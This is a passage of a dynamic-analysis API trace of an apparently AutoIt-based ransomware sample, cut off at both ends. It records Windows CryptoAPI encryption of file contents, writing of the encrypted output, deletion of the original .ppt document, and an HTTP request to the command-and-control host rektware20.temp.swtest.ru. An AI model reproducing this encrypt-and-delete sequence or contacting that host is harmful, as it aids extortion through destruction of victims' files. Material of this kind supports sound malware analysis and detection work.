lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.560] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.560] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0073.560] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0073.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e290, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0073.561] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0073.561] CryptGetKeyParam (in: hKey=0x164c9f0, dwParam=0x7, pbData=0x1629490, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629490*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0073.561] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.561] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.561] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.561] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.561] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.561] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.562] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.562] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.562] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.562] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.562] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.563] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621780, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.563] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.563] CryptEncrypt (in: hKey=0x164c9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xea35, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xea40) returned 1 [0073.563] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.563] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.563] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.563] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.563] CharLowerBuffW (in: lpsz="byte[59969]", cchLength=0xb | out: lpsz="byte[59969]") returned 0xb [0073.563] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.565] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.565] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.565] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.565] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0073.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621ab0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0073.566] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0073.566] CryptEncrypt (in: hKey=0x164c9f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x180c9e0*, pdwDataLen=0x130e618*=0xea35, dwBufLen=0xea40 | out: pbData=0x180c9e0*, pdwDataLen=0x130e618*=0xea40) returned 1 [0073.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.566] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.566] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.566] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.566] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.567] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.567] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.567] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.567] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.567] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.567] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.567] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.567] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.571] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.571] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.572] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.574] WriteFile (in: hFile=0x3d0, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0xea40, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0xea40, lpOverlapped=0x0) returned 1 [0073.575] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.575] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.575] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0073.575] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.575] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.575] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0073.575] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621330, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0073.576] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0073.576] CryptDestroyKey (hKey=0x164c9f0) returned 1 [0073.576] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.576] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.576] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.576] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.576] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.576] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.576] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0073.576] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.576] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.577] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.577] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0073.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0073.577] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.577] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.577] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.577] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.577] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.577] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.577] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.577] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.577] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e290, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0073.578] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0073.578] CryptReleaseContext (hProv=0x17aa010, dwFlags=0x0) returned 1 [0073.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.578] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.578] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0073.578] FreeLibrary (hLibModule=0x74c60000) returned 1 [0073.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.578] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.578] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.578] CloseHandle (hObject=0x3ac) returned 1 [0073.579] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.579] CloseHandle (hObject=0x3d0) returned 1 [0073.582] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.583] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.583] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", lpFilePart=0x0) returned 0x40 [0073.583] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\efd8vlkht.ppt")) returned 0x20 [0073.583] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0073.584] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\eFD8vlkht.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1y_l8q1mlp\\leytaif\\efd8vlkht.ppt")) returned 1 [0073.590] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0073.591] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0073.591] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.591] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.591] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.591] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.591] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\FDrzA xZVcyzK.ods", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0073.591] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.591] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.592] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0073.592] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.592] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0073.592] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0073.592] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e80, lpdwBufferLength=0x130ef8c) returned 1 [0073.592] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.592] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.592] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.593] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0073.593] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0073.593] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0073.593] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292d0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: 